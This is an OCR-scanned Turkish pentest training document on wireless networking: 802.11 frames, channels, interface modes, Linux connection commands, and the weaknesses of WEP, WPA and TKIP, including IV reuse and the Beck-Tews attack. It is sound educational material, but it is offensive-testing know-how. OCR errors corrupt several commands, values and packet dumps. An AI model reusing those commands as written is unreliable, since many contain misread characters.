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Kablosuz Aglar ve Guvenlik

Bu dokiimanda kablosuz aglar ile ilgili kavramlar ve bunlarla ilgili glvenlik tehditleri, atak vektorleri
verilmistir. Dokiiman boyunca kullanilan yaziim/donanim bilgisi asagidaki gibidir.

Donanim&Yazilim

TP-LINK TLWN722N (150 | USB portlu kablosuz ag adaptérii (Atheros AR9271)
Mbps)

Macbook Pro 05X 10.9.4

VMware Fusion Kali Linux 3.14-kali1-686-pae

Pineapple Mark V

Temel Kavramlar

Kablosuz aglarda gliniimiizde kullandigimiz kablolu aglardan farklh bazi Gnemli noktalar vardir. Bu noktalarin
daha iyi anlasilabilmesi i¢cin sadece kablosuz aglara 6zel bazi tanimlarin, terimlerin bilinmesi faydal
olacaktir.

Kablosuz ag:

Bilgisayarlar ve ag cihazlari arasindaki verilerin kablosuz olarak hava ortaminda iletildigi bir ag cesididir. Wi-
Fi, cep telefonlari ve radyo dalgalarini kullanan diger uygulamalar(TV/Radyo/Uydu gibi) kablosuz ag icinde
degerlendirilebilir. Bu yazida kablosuz yerel aglardan(WLAN) bahsedilmistir.

internetin evlere girmesiyle yayginlasmistir. Bireysel kullanicilarin yani sira bir ¢ok kurumda da kablosuz
aglar bulunur. Tasinabilirlik ve maddi agidan kolayliklar getirse de tasiyabilecegi veri trafigi ve trafigin

izlenebilir olmasi kablosuz aglari riskli kilar.

Kablosuz aglar ve kablolu aglara dair karsilastirma tablosu asagidaki gibidir.

Kablolu ag Kablosuz ag
Kapasite/yiik Genis Sinirl
Topoloji Point-to-point Broadcast
Giivenilirlik Guvenilir Guvensiz
Tasinabilirlik Sabit Tasinabilir

Kablosuz aglar icin IEEE 802.11 standartlari uygulanmaktadir ve OSI modelinde fiziksel katmanda (1.katman)
yer almaktadir. IEEE 802.11 standartlari agda bulunan cihazlarin birbirleri ile iletisimini saglamasi icin gerekli
kurallari ortaya koyan bir protokoldiir. Bu standartlarin gelisen teknoloji ve ihtiyaca gore getirdigi bant
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genisligi, frekans gibi farklihklar konunun ilerleyen kisimlarinda verilecektir. 2004 yilinda klasik 802.11
standartlari yerini daha iyi veri givenliginin ve kimlik dogrulama metotlarinin saglandigi 802.11i'ye
birakmistir. Bu yeni standartlar RSN(Rebost Security Network) olarak da anilmaktadir.

Frame: Kablosuz aglarda haberlesme frame(cerceve) lizerinden gerceklesir. 802.11 standartlarina uygun bir
frame asagidaki gibidir. ilk 2 Bytelik kisim Frame Control’dur. Frame Control ise kendi icinde farkli kisimlara
ayrilir. Bu yazi icin 6nemli olanlar Frame Type ve Frame Subtype’dir.

AEITD Duration | Address 1 | Address 2 | Address 3 SIS Address 4 | Payload | CRC | 802.11 Frame
Control Control

Protocol | Frame | Frame More Power More .

Version | Type | Subtype HELE ) Bt Fragments 55 Management | Data S | ST

Frame Type, WLAN frame’in tipini belirleyen kisimdir. 3 ¢esidi vardir: Management, Control ve Data.
Management Frame: Ag cihazi ile istemci arasindaki baglantinin kurulmasiyla ilgilidir. 10 farkh alt-tipi vardir.
Bunlar arasinda Authentication, Deauthentication, Beacon ve Probe frameler bizim icin 6nem arzedenlerdir.
Wireshark (WS) filtresi: wlan.fc.type ==

e Authentication frame (1): Ag cihazi ile istemci arasindaki baglanti istegi, baglantinin kabul veya ret
edilmesi gibi bilgiler bu frame icerisinde tasinir.

e Deauthentication frame (2): Ag cihazi veya istemci(bazen durumlarda saldirganlar) baglantiyi
koparmak istediginde bu frame kullantlir.

e Beacon frame (8): Kablosuz ag cihazlari siirekli olarak iginde ismi(SSID) ve diger bilgileri(frekans,tip,
MAC vb.) barindiran beacon frameler yayinlar. Boylece kullanicilar yayin yapan AP’leri gorebilir ve
buna gore baglanabilir. Beacon frame’e dair ekran goriintlisi Wireshark Gzerinden alinmistir. IEEE
802.11 Beacon Frame kisminda Type parametresinin Management oldugu goriilebilir. Subtype ise
8’dir. Clinkli Beacon frame Management Frame’in 10 alt-tipinden 8.sidir.

Wiresharkta sadece Beacon frameleri gérintilemek igin;
wlan.fc.type_subtype==0x08 filtresi uygulanabilir.

> Frame 174: 330 bytes on wire (2640 bits), 330 bytes captured (2640 bits) on interface 0
P Radiotap Header vo, Length 26

Type/Subtype: Beacon frame (0x08)
v Frame Control: 0x0080 (Normal)
Version: O
Type: Management frame (0)
Subtype: 8
P Flags: ox0
Duration: O
Destination address: Broadcast (ff:ff:ff:ff:ff:ff)
Source address: Cisco-Li_a9:76:c3 (98:fc:11:a9:76:c3)
BSS Id: Cisco-Li_a9:76:c3 (98:fc:11:a9:76:c3)
Fragment number: 0
Sequence number: 79
D Frame check sequence: 0xb3365cde [correct]
> IEEE 802.11 wireless LAN management frame

e Probe Request (istek): istemciler daha 6nce baglandiklari ve otomatik olarak baglan seceneginin
aktif oldugu kablosuz aglar icin etrafa Probe Requestler gdnderir. Ornegin evde Ev isminde bir
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kablosuz ag olsun ve cep telefonu Ulzerinden bu aga baglanip otomatik baglan secenegi aktif edilsin.
Cep telefonunun kablosuz agi, Ev’den uzakta bir yerde aktif edildiginde, telefonun kablosuz ag
adaptord ‘Ev buralarda misin?’ mesajlari yollayacaktir.

Control Frame: Ag cihazi ile istemci arasindaki veri trafiginin dogrulugu, bitinligld bu frame Uzerinde
tasinir. 3 farkli alt-tipi vardir: Acknowledgement(ACK), Request-to-send(RTS), Clear-to-send(CTS).
WS filtresi: wlan.fc.type ==

Filter: wlan.fc.type== v | Expression... Clear Apply Save

No. Time Source Destination Protocol | Lengtl ' Info
436 7.286084000 Azurewav_da:5f:b7 802.11 40 Acknowledgement, Flags=........ C
437 7.286098000 Airtiesw_97:5d:9d (TA) Azurewav_da:5f:b7 802.11 46 Request-to-send, Flags=........ C
438 7.286469000 Airtiesw_97:5d:9d (TA) Azurewav_da:5f:b7 802.11 46 Request-to-send, Flags=........ C
43a 7 28KR37NNNAN Aznrewav da'&f: h7 802 11 40 Acknowl ednement  Flans= C

+ Frame 435: 46 bytes on wire (368 bits), 46 bytes captured (368 bits) on interface 0O
+/ Radiotap Header vO, Length 26
— IEEE 802.11 Request-to-send, Flags: ........ C

Type/Subtype: Request-to-send (0Ox1lb)

—| Frame Control Field: 0xb400

...... 00 = Version: 0
.... Ol.. = Type: Control frame (1)
1011 .... = Subtype: 11
+/ Flags: 0x00
.000 0000 1100 0100 = Duration: 196 microseconds
Receiver address: Azurewav_da:5f:b7 (24:0a:64:da:5f:b7)
Transmitter address: AirtieswW_97:5d:9d (18:28:61:97:5d:9d)

+/ Frame check sequence: 0x633969e7 [correct]

0000 00 00 la 00 2f 48 00 00 aa a3 3f 06 00 00 00 00 o /HL
0010 10 30 6c 09 cO 00 bd 00 00 00 [ 00 c4 00 24 Oa Nc] RPN
0020 64 da 5f b7 18 28 61 97 5d 9d e7 69 39 63 d._..(a.

Data Frame: Asil bilginin tasindigi framelerdir.
WS filtresi wlan.fc.type ==
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Filter: wlan.fc.type== v | Expression... Clear A Save
No. Time Source Destination Protocol | Lengtl ' Info
974 16.920102000 Azurewav_da:5f:b7 AirtiesW_97:5d:9d 802.11 54 Null function (No data), SN=453, FN=0, Flags=....... TC

998 17.263514000 Azurewav_da:5f:b7 IPv4mcast_7f:ff:fa 802.11
1025 17.509329000 AirtiesW 97:5d:9c Azurewav da:5f:b7 802.11

+ Frame 998: 208 bytes on wire (1664 bits), 208 bytes captured (1664 bits) on interface 0
+ Radiotap Header vO, Length 26
+ IEEE 802.11 Data, Flags: .p....F.C
— Data (146 bytes)
Data: 62cf6bl83b2eb0c2d452b0801146257f96cce9lbd476del0. . .
[Length: 146]

0000 00 00 la 00 2f 48 00 G0 2e eB8 d7 06 00 00 OO OO
0010 10 02 6c 09 cO 00 c4 00 00 00 08 42 00 00 01 0O
0020 Se 7f ff fa 18 28 61 97 5d 9d 24 Oa 64 da S5f b7
0030 40 7b 33 33 36 60 00 00 00 00
[CcLICAMbO c2 d4 52 b0 80 11 46 25 7f 96 cc e9 1b d4
[CcSclllde 10 af Sd e6 6c b0 7f 27 55 c4 05 4d 89 a3 1§
[SClScAmA> fa 80 52 84 c2 be 20 9c el 7c 4c f4 39 e9 09
[ccy/cllOe al d9 1f 24 3c 76 1d <5 6f 78 3e d6 32 60 d2
[clclCAlE7 c1 Sc 9d la 3f 29 e8 a0 fa 15 f4 Ob 59 76
[ Ml o 49 Of 08 36 Sb df be 06 9f 80 ec 34 69 Oc df|
[CIcAMod 81 ef 24 7e cl 2b 2a a5 cc c6 Oa
00b0o 03 b7 90 9a 00 93 13 00 fc
00cO b6 cc 6a fa fa 44 fc b2 6a

© * Data (data.data), 146 bytes ... Profile: Default

WEP: Kablosuz aglarda kablolu aglara esdeger giivenlik saglama amaci ile gelistirilmis ve yaygin olarak
kullanilan bir WLAN sifreleme protokoliidir.

WPA: WEP’de gikan glvenlik zafiyetlerinin giderilmesi ve yeni 6zelliklerin eklenmesi ile ¢ikariimis glivenlik
protokoliidir. Temel olarak WEP kullanir sadece anahtar degisimi ve IV sabiti farklidir.

WPA-II: Gegici ¢6ziim olan WPA'nin yerini 2004’te WPA-2 almistir. AP’ye baglanti 4’li el sikismayla saglanir.

Access Point(AP)(Erisim Noktasi): Kablosuz ag cihazlarinin baglanarak bir ag olusturdugu merkezi cihaz. Bu
cihaz bir donanim olabilecegi gibi 6zellestirilmis bir Linux dagitimi da olabilir.

SSID : Access Point(Erisim Noktasi)'nin tanimlayici adi.

802.11x : IEEE tarafindan tanimlanmis ve kablosuz ag cihazlarinin nasil ¢alisacaginin belirtildigi standartlar

dizisi.

Kanal(Channel): AP’nin hangi frekansta yayin yapacagini, her biri frekans araliklarina denk gelen 1 ile 14
arasindaki degerlerle belirtir. Wi-Fi’"de genelde 2.5 GHz bandi kullanilir ve bu band 5MHZ’lik araliklarla 14
kanala ayrilmistir. Her AP ayni anda 1 kanalda calisir. iletisimin saglanmasi icin AP ve istemcinin ayni
kanalda(frekansta) olmasi gerekir. AP’lerin birbirine yakin bantlarda c¢alismasi durumunda frekanslar
Ustistl gelir(overlapping) ve ortamdaki giriltiyt(noise) artirir. Bu nedenle genelde birbirine gérece uzak
olan 1, 6 ve 11 kanallari tercih edilir.
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Kanal Diisiik Frekans Merkez frekans Yiiksek frekans
1 2.401 2.412 2.423
2 2.406 2.417 2.428
3 2.411 2.422 2.433
4 2.416 2.427 2.438
5 2.421 2.432 2.443
6 2.426 2.437 2.448
7 2.431 2.442 2.453
8 2.436 2.447 2.458
9 2.441 2.452 2.463
10 2.451 2.457 2.468
11 2.451 2.462 2.473

Kablosuz Ag Standartlari

Cesitli firmalar

tarafindan Uretilmis kablosuz ag cihazlarinin birbirleri ile sorunsuz haberlesebilmesi igin

uymasl gereken bazi standartlar vardir. Bu standartlari IEEE belirler, kablosuz aglar igin 802.11 ailesi

belirlenmistir. Glinlimuizde yogun kullanilan bazi 802.11x standartlari ve 6zelikleri asagida verilmistir.

e 802.11b

e 3802.11a

e 802.11g

e 802.11i

2.4 GHz araliginda ¢alisir
Maksimum bant genisligi 11Mbps
30-75m arasli performans
GUnimuzde yaygin kullanihyor

5GHz araliginda yayin yapar
Maksimum bant genisligi 54Mbps
25-50m civarinda performans

802.11b uyumlu
2.4 GHz araliginda
54 Mbps’e kadar ¢ikan hiz kapasitesi

Guvenli WLAN kullanimiigin duslinilmas
802.11a ve 802.11b WLAN'lari arasindaki iletisimin sifrelenmesini belirler
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AES TKIP(temporary key integrity protocol) gibi yeni sifreleme metotlari kullanir.

e 802.11n
Bant genisligi, hiz ve kapsama alani artmistir.
2.4 GHz ve 5 GHz'de cgalisabilir.
AES sifreleme metodu kullanihr.
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Kablosuz Ag Yontemleri ve Ag Arabirim Modlari

Kablosuz ag arabirim ¢alisma modlari

Kablosuz ag adaptorleri kullandiklari siirliciiye ve yapacagi isleve bagh olarak dort farkli modda galisabilir.
Bunlar: Managed, Master(hostap), Ad-hoc ve Monitor mod.

Master Mod: Etraftaki kablosuz ag istemcilerine hizmet vermek i¢in kullanilan mod. Erisim noktasi olarak
adlandirilan cihazlarda kablosuz ag adaptorleri bu modda calisir.

Managed Mod: Bir erisim noktasina baglanarak hizmet alan istemcinin bulundugu mod.

Ad-Hoc Mod: Arada bir AP olmaksizin kablosuz istemcilerin haberlesmesi icin kullanilan mod.

e wmnam]mm|

|7 Usethowstocofﬁg_[emwi-lmMQMQ

Advanced _"Jﬁl
Available networks: —
To connect to, disconnect f | INetworks to access
about wireless networks in

¢ Any available network (access point prefemred)
" Access point {infrastructure) networks only
" Computerto-computer (ad hoc) networks only

[~ Automatically connect to non-preferred networks

i USR9106 (Manual)

Close

Add... Remove Properties |

Monitor Mod: Herhangi bir kablosuz aga baglanmadan pasif olarak ilgili kanaldaki tiim trafigin izlenmesine
olanak saglayan mod. Kablosuz aglarda glivenlik konusunda sik sik kullanilan bir moddur.
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Kablosuz Ag Baglanti Yontemleri

Kablosuz aglar temelde iki modda calisir: bunlardan biri Ad-hoc digeri de Infrastructure mod olarak
adlandiriimigtir. Genellikle, kablosuz agi kullanim amacimiza gore bu iki mod’dan birini segme durumunda
kalriz.

Ad-hoc mod, iki kablosuz ag cihazinin arada baska bir birlestiriciye(AP) ihtiyag

duymadan haberlesebildigi durumdur. Teknik olarak Independent Basic

Service Set(IBSS) olarak da bilinir. Ad-hoc baglantilari genellikle evde kisisel

islerimiz icin kullaninz. Mesela, bir evde iki bilgisayar ve birinin internet

// \ baglantisi var, diger bilgisayarida internete c¢ikarmak istersek onimize iki
secenek cikiyor: ya iki bilgisayar arasinda bir kablo ¢ekerek iki bilgisayari direk

g birbirine baglayacagiz ya da bir hub/switch alarak iki bilgisayari bu araci

' cihazlar ile konusturacagiz.

Oysa bunlardan baska bir segenegimiz daha var -tabi eger her iki bilgisayarda
kablosuz ag adaptori varsa-. Bu iki cihazin kablosuz ag adaptorlerini Ad-hoc modda cgalisacak sekilde
ayarlarsak ve internete c¢ikan bilgisayarda baglanti paylasimi yaparsak iki makinede 06zgiir bir sekilde
interneti kullanabilecektir.

Burada makinelerin Linux, Windows ya da Mac olmasi farketmez. Tanimlanan degerler standartlara uygun
oldugu miiddetge her islemi kolaylkla yapilabilir.

Piyasada 20-30 S dolara bulunabilecek USB kablosuz ag adaptorleri ile ya da kullandiginiz dizlsti
bilgisayarin kendi sistemi ile kolaylikla Ad-hoc mod kablosuz ag kurulabilir.

Kisaca Ad-hoc mod igin herhangi bir AP'e gerek duymadan kablosuz ag cihazlarinin birbirleri arasinda
haberlesmesidir diyebiliriz.

Infrastructure mode : Erisim noktasi baglanti yontemi

Infrastructure mode ortamdaki kablosuz ag cihazlarinin haberlesmesi

icin arada AP gibi bir cihaza ihtiya¢ duyulmasidir. Ad-hoc moda gore

/IM“:"\ biraz daha karmasiktir ve 06zel olarak ayarlamadiysak isletim
—_ - sistemimiz bu modu kullanacak sekilde yapilandiriimistir. Teknik
< é olarak “Basic Service Set” olarak da bilinir(BSS). Infrastructure modda
kablosuz ag istemcileri birbirleri ile direkt konustuklarini dislintrler
fakat tiim paketler AP araciligi ile iletilir. Burada aga dahil olmayan
herhangi bir kablosuz ag cihazinin tiim trafigi izleme riski vardir. Bu

sebeple Infrastructure mod kullanirken genellikle iletisim sifrelenir. Sifreleme amaglh olarak WEP ya da
WPA gibi protokoller kullanilir. Sifreli iletisimde aradaki trafik izlense bile anlasilmaz olacaktir.
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Promiscuous mod ve monitor mod farki

Klasik yapilan hata promiscuous mod ve monitor modun karistiriimasidir. Bu iki moda birbirinden tamamen
farkhdir.

Monitor mod, bir kablosuz ag arabiriminin herhangi bir aga baglanmadan o aga ait tim trafigi
izleyebilmesine olanak verir.

Promiscuous mod ise bir aga baglanildiginda o agda —duruma goére- tiim trafigi izleyebilmenizi saglar.
Kablosuz aglarda Wireshark gibi sniffer araglari kullanirken “Promiscuous” mod segili ise bazen hig¢ paket
yakalayamazsiniz. Bu kullandiginiz kablosuz ag adaptoriiniin ya da siirliclisinin Promiscuous mod
desteklemedigini gosterir.

BILGI GUVENLIGI AKADEMISI | © 2015 | www.bga.com.tr



[PENTEST GCALISMALARINDA KABLOSUZ AG GUVENLIK TESTLERI] n

Kablosuz Ag Baglanma Asamalari

Authentication(Kimlik dogrulama): Bir kullanici sisteminin AP’ye kimlik dogrulayarak aga dahil olmasinin ilk
adimdir. Bu adimda iletilen frameler sifrelenmemektedir(Clinkii management framelerden birisidir). 2 gesit
kimlik dogrulama tanimlanmistir: Open ve Shared Key.

® Open System Authentication: Bu tip kimlik dogrulamada istemciden icinde MAC adresinin oldugu
bir istek gider ve AP’den istegin kabul veya reddedigine dair bir cevap donilir.

~

Client AP

Authentication request

Authentication response

e Shared Key Authentication: Kimlik dogrulama igin ortak olarak bilinen bir anahtar(parola) kullanilr.
Once istemci AP’ye bir baglanti isteginde bulunur. AP kullaniciya challenge text génderir. istemci
bilinen anahtar bilgisiyle bu metini sifreler ve AP’ye gdnderir. AP sifreli metini alir ve UGzerinde
belirlenen asil anahtarla bu metinin sifresini ¢ozer. Eger sifresi ¢ozilmis olan metin, kullaniciya ilk
olarak gonderilen challenge text ile ayniysa parola dogru demektir. Kullaniciya kimlik dogrulama igin
kabul veya ret iceren cevap dondlir.

7
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Association (Aga kayit olma):

istemciler kimlik dogrulama adimini gectikten sonra AP tarafindan aga kayit edilmelidir(association). Bu
islem olmadan istemciden gelen/giden frameler AP tarafindan yoksayilir. Bir istemci ayni anda sadece bir
aga kayit olabilir ve kayit islemi sadece iletisim AP (izerinden gergeklestigi Infrastructure modda gercgeklesir.
istemci association icin bir istek gdnderir, AP istegi degerlendirir ve olumlu yada olumsuz cevap déner. Eger
cevap olumluysa association cevabi iginde istemciyi daha sonra tanimak icin atanan bir ID
bulunur(Association ID(AID)).
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Linux Sistemlerden Kablosuz Aglara Baglanti

Linux sistemler kablosuz ag yapilandirmasi igin zengin seceneklere sahiptir. Her Linux dagitiminin kendi
grafik arabirimli yapilandirmasi oldugu gibi tiim Linux dagitimlari icin gegerli komutlari kullanmak da her
zaman hazir segenek olarak durmaktadir.

Bir kablosuz ag cihazinin neler yapabilecegini diisiinelim; oncelikle bulundugu cevredeki ¢alisir vaziyette
bulunan erisim noktalarini géormek isteyecektir, buldugu erisim noktalarindan birini secerek baglanmak ve
gerekli IP yapilandirmasini girmesi gerekecektir, ya da erisim noktasi tarafindan verilen hazir bilgileri
kullanacaktir.  Eger erisim noktasinda glvenlik amagh sifreleme  kullaniimigsa  kullanilan
protokole(WEP/WPA) uygun anahtarin da dogru sekilde girilmesi gerekir.

Kapsama alaninda bulunan Erisim Noktalarini(Access Point) kesfetmek icin “iwlist” komutu uygun
parametreler ile kullanilir.

Linux makinemizdeki wireless Ethernet arabiriminin ethl oldugunu varsayarsak c¢evremizdeki AP’leri
asagidaki komut ile gorebiliriz.

root@byte: ~# iwlist eth1 scan

ethl Scan completed :

Cell 01 - Address: 00:05:60:D5:CE:76
ESSID:"Byte Test"
Mode:Master
Frequency:2.417GHz
Quality:0/10 Signal level:-70 dBm Noise level:-256 dBm
Encryption key:off
Bit Rate:1Mb/s
Bit Rate:2Mb/s
Bit Rate:5.5Mb/s
Bit Rate:11Mb/s

Cell 02 - Address: 00:04:2B:52:15:58
ESSID:"Sebil Net"
Mode:Master
Frequency:2.467GHz
Quality:0/10 Signal level:-22 dBm Noise level:-256 dBm
Encryption key:on

Bit Rate:1Mb/s
Bit Rate:2Mb/s
Bit Rate:5.5Mb/s
Bit Rate:11Mb/s

Peki hangi arabirimimizin kablosuz ag adaptorii oldugunu nasil anlariz? Bunun igin de iwconfig komutu
parametresiz kullanilirsa Linux bilgisayarimizda bulunan ag adaptorleri inceleyerek hangilerinin kablosuz ag
adaptorid oldugunu bize soyleyecektir.

Bulunan erisim noktalarindan herhangi birine baglanmak igin iwconfig komutunu kullaniyoruz.

root@byte: ~# iwconfig ethl essid “Byte Test”
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root@byte: ~# ifconfig ethl up
root@byte: ~# ifconfig ethl 192.168.1.2 netmask 255.255.255.0

ya da otomatik IP aldirmak igin

root@byte: ~# dhclient ethl
root@byte~ # dhcpcd -n ethl

komutlari kullanilabilir.

Yapilandiriimis arabirime ait 6zellikleri gérmek istersek;

root@byte: ~# iwconfig ethl
ethl |EEE 802.11-DS ESSID:"Byte Test"
Mode:Managed Frequency:2.457GHz Access Point: 00:05:60:D5:CE:76
Bit Rate:2Mb/s Tx-Power=15 dBm Sensitivity:1/3
RTS thr:off Fragment thr:off
Encryption key:on
Power Management:off
Link Quality:46/92 Signal level:-51 dBm Noise level:-94 dBm
Rx invalid nwid:0 invalid crypt:0 invalid misc:0

komutunu vermemiz yeterlidir.

Baglanmak istedigimiz erisim noktasi WEP kullanacak sekilde ayarlandiysa bunu da parametre olarak
belirtmeliyiz.

root@byte: ~# iwconfig ethl key 12345768901234567890123465

WPA Korumali Aglara Linux Sistemler Uzerinden Baglanmak

iwlist ve iwconfig araglari WEP ile korunan AP’lere baglanmak igin kullanilir. WPA tipinde bir AP’ye
baglanmak igin wpa_supplicant araci kullanilir. Cogu Linux dagitiminda yukli gelir. Eger yikli degilse;

root@kali:~# apt-get install wpasupplicant

WPA ile ilgili bilgiler bir yapilandirma dosyasi icinde saklanir. Bu dosyaya yazmak igcin wpa_passphrase araci
kullanihr.

root@kali:~# wpa_passphrase BGA Bga123456 > wpa.conf
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Yukaridaki komutta BGA yerine baglanmak istediginiz erisim noktasinin SSIDsi ve Bgal23456 yerine WPA
anahtari yazilir. Cevap asagidaki gibi wpa.conf dosyasina yazilir.

network={
ssid="BGA"
#psk="Bgal23456"
psk=646fa82263e0f2aec5759ff3f1b409e4cde4557a68d64c45df5904ced2c4afOd

Ancak yukaridaki komutta WPA parolasi komut gecmisinde yeralacagi i¢in glivenli degildir. Bunun yerine
sadece wpa_passphrase SSID_ismi seklinde kullanilirsa imleg asagi iner bizden anahtari girmemizi bekler.

root@Kkali:~# wpa_passphrase BGA > wpa.conf

# reading passphrase from stdin

Bgal23456

network={
ssid="BGA"
#psk="Bgal23456"
psk=f0fa6500777f065586521ad4e4244f2ee123af6303f70b1b75ebb127c0c8f81be

Yapilandirma dosyasina gerekli bilgiler yazildiktan sonra simdi wpa_supplicant araciyla aga baglanilabilir.
Komutun genel hali su sekildedir:

wpa_supplicant -D[driver] -i[arayiz] -c[/wpa_supplicant.conf dosyasinin tam yolu]

Driver segenekleri wpa_supplicant yazip entera basildiginda asagidaki gibi listelenir. Hangi driver gesidi
oldugu bilinmiyorsa wext kullanilabilir.

drivers:
wext = Linux wireless extensions (generic)
nl80211 = Linux nl80211/cfg80211
wired = Wired Ethernet driver
none = no driver (RADIUS server/WPS ER)

Arayiz iwconfig komutu sonucunda ¢ikan kablosuz adaptérin bagh oldugu arayiizii ifade eder. Genelde
wlan0, wlanl gibi degerler alir.

wpa.conf dosyasi baska bir yol belirtiimemisse Gzerinde ¢alistigimiz dizine yazilmistir.

Ornek baglanma komutu su sekildedir.

wpa_supplicant -Dwext -iwlan1 -c/root/wpa.conf -B

Sorun yasaniyorsa /etc/network/interfaces dosyasi herhangi bir metin editoriyle(vi, nano gibi) agilir ve
asagidaki satirlar yazihr.
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iface wlan1 inet dhcp
wpa-conf /root/wpa.conf (yapilandirma dosyasinin tam yolu)
auto wlanl

Asagidaki komutlar isletilir.

ifconfig wlanl down
ifconfig wlanl up
/etc/init.d/networking restart

Tekrar denenir.

wpa_supplicant -Dwext -iwlan1 -c/root/wpa.conf -B

IP almak igin;

dhclient wlan1l
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Kablosuz Ag Giivenlik Testleri i¢in Ortam olusturma

Kablosuz aglarda glivenlik konusu pratigi zor olan bir konudur. Bunun temelde iki sebebi vardir. Birincisi
kablosuz ag adaptorleri surici eksikliginden genelde Windows altinda test yapacak fonksiyonlara sahip
degildir. Bu gibi testler igin Linux kullaniimasi ¢ok daha pratik olacaktir. Diger bir konu da baskalarinin
kablosuz aglari Uzerinden yapilacak testler etik olmayacagi icin kendi kablosuz ag ortaminizda g¢alismalar
yapmaniz gerektigidir. Eger kullanilan Erisim Noktasi(Access Point) paylasimli ise yapacaginiz testlerden
diger kullanicilar etkilenecektir.

Bu durumda son care olarak yeni bir donanim almak gerekmektedir. Diger bir yontem de bir adet USB
Gzerinden galisan kablosuz ag adaptorl alip Vmware igerisinden bu adaptori kullanmaktir. Béylece hem
mobil bir AP’e sahip olunup, hem de kablosuz aglarda giivenlik testi yaparken Windows’un kisitlayici
Ozelliklerine takilmadan Linux lzerinden istenilen islemler yapilabilir. Boylece istediginizde sanal bir AP’ye
istediginizde de Linux altinda test yapmak igin kullanabileceginiz kablosuz bir ag adaptériine ulasmis
olacaksiniz.

Vmware ile Kablosuz Ag adaptorlerini Kullanma

Gergek isletim sisteminde kullanilan kablosuz ag kartlarini, Vmware altinda da ayni ozelliklerde kullanmak
ne yazik ki mimkin olmaz. Vmware’den arabirim modunu bridge, NAT yapilarak kablosuz ag kartinizin
yararlandigi baglanti Vmware makineye saglanabilir fakat bu Vmware tzerinde kablosuz bir ag karti olarak
algilanmaz. Siradan bir ethernet karti gibi Vmware’in kendi sirlcilerini kullanarak islem yapilir. Bu
durumda kablosuz aglara baglanip analiz yapma imkanimiz yoktur. Ancak USB ile baglanilan bir kablosuz ag
karti ile bu islem yapilabilir. Gercek sisteminizin Windows, Vmware’deki sisteminiz Linux ise USB wireless
kartinizi Vmware altinda gercek o6zellikleri kullanabilmek icin  Vmware surumu 6.x, Vmware player
kullaniyorsaniz guncel surumu olmahdir. Bundan sonrasi Vmware’in menulerinden usb cihazi Vmware'e
wireless kart olarak tanitmak ve striiciiniin sagladigi wireless 6zelliklerini kullanmaya kaliyor.

Not: Vmware’in kullanacagi USB wireless karti gergek isletim sisteminin tanimasi gerekmez.
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Kablosuz Aglarda Sifreleme ve Kimlik Dogrulama

802.11 Standarti Kimlik dogrulama Sifreleme Sifreleme Anahtar uretilme
algoritmasi metodu
WEP Open/Shared Key WEP RC4(24 bit) Statik
WPA(SOHO*) PSK TKIP RC4(48 bit) Dinamik
WPA2(SOHO) PSK CCMP AES Dinamik
WPA(Kurumsal) 802.1x TKIP RC4(48 bit) Dinamik
WPA2(Kurumsal) 802.1x CCMP AES Dinamik

*SOHO(Small office/home office): Kuiglik ev ve ofis aglarini ifade eder.

WEP

Hem sifreleme protokoliiniin hem de kimlik dogrulama isleminin adidir.

Bu glivenlik protokoliinde ilk baslarda kisitlamalardan dolayi 64 bitlik WEP key kullaniliyordu. 64 bitin, 24
biti verinin sifrelenmesi ve ¢6ziilmesi icin kullanilan initialization vector(kisaca IV olarak anilir) ve 40 biti ise
anahtardan(key) olusur. Anahtar diye bahsedilen aslinda o kablosuz ag igin girilen parola bilgisidir. 40 bitlik
bir yer ayrildigi icin parola olarak en fazla 10 alfanumerik karakter kullanilabilir.

Bu 64 bit, RC4 denilen kriptografik bir algoritmayla isleme sokulur ve baska bir deger elde edilir. Son olarak
olusturulan deger ve asil veri XOR mantiksal islemine sokulur. Béylece WEP korumasi saglanarak sifreli veri
olusturulur. Daha sonradan bazi kisitlamalar kaldirilmis ve 128 bit,152 bit, 256 bit destekleyen WEP
sistemleri bazi Greticiler tarafindan saglanmistir. Bunlar icinde 1V degeri 24 bittir.

IV+WEP key
PRNG - Key stream @ Data+ICV e
(®XOR)
[802.11 header |[ 1v [other Data | 1cv || s02.11 trailer |

" Encrypted >|
N

|< 802.11 frame payload

l‘ 802.11 frame "

Uretilen her IV’'nin tek(unique) olmasi gerekir. Ancak aktif bir agda yaklasik 5000 paketten sonra ayni IV
degerinin tekrarkanma ihtimali %50’dir.

IV’'leri toplamak icin ARP paketleri yada TCP paketler izlenir ve kaydedilir. ARP paketleri AP tarafindan tekrar
tekrar yayinlandigi(broadcast) igin toplamasi daha kolaydir.
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WPA/WPA2

WEP (zerindeki ciddi glvenlik zafiyetleri dolayisiyla gegici bir ¢6zim olarak, 2003 yilinda 802.11 veri
glvenliginde ve sifreleme metodundaki gelistirmelerle ortaya ¢ikmigtir. TKIP sifreleme metodunu kullanan
WPA tanitilmistir. Bu sadece gegici bir ¢ézimddr. 2004 yilinda ise 802.11i yayinlanmistir. Bu yeni standartta
veri glvenligi icin AES sifreleme algoritmasi ve CCMP sifreleme metodunun kullanildigi WPA2 ortaya
¢ikmistir. Kimlik dogrulama metodu igin ise 802.1X(kurumsal) ve Preshared Key(PSK)(kisisel ve kiiglik olgekli
kullanim igin) metotlari gelistirilmistir.

WPAZ2’de parolanin dogrulanma asamasi 4’1l el sikismayla(4 way handshake) tamamlanir.

WPA’da sifreleme metodu olarak TKIP kullaniimaktadir. AES-CCMP ve WEP’i de bazi durumlarda destekler.
WEP’teki zafiyetlere karsi 3 giivenlik 6nlemi ile gelmistir.

e Birincisi, anahtar ve IV, kriptografik algoritmaya tabi tutulmadan 6énce bir fonksiyona sokulur ve o
sekilde gonderilir. WEP’te ise bu islem hatirlanacagi Gizere 24 bitlik IV ve 40 bitlik anahtarin normal
olarak birlestirilip RC4 algoritmasina sokuluyordu.

e ikincisi paketler icin bir sira numarasi(sequence number) koyar. Bdylece ardarda sahte istek
gonderilmesi durumunda(replay attack) AP bu paketleri yoksayacaktir.

e Uciincii olarak ise paketlerin biitiinliigiinii kontrol etmek amaciyla 64 bitlik Message Integrity Check
(MIC) eklenmistir. WEP’te igerigi bilinen bir paket, sifre ¢dzlilmese dahi degistirilebilir.

TKIP

Blyiik 6lcide WEP’e benzerlik gostermektedir. WEP (lzerinde etkili olan bir ¢ok ataktan etkilenir. Beck-Tews
atak olarak bilinen bir yéntemle, ¢ozilebilen bir paket basina 7-15 paket aga enjekte edilebilir. Bu yontemle
ARP zehirleme, servis disi birakma gibi saldirilar gergeklestirilebilir. Ancak bu islem WPA parolasinin ortaya
¢ikarilmasi manasi tasimamaktadir.

CCMP

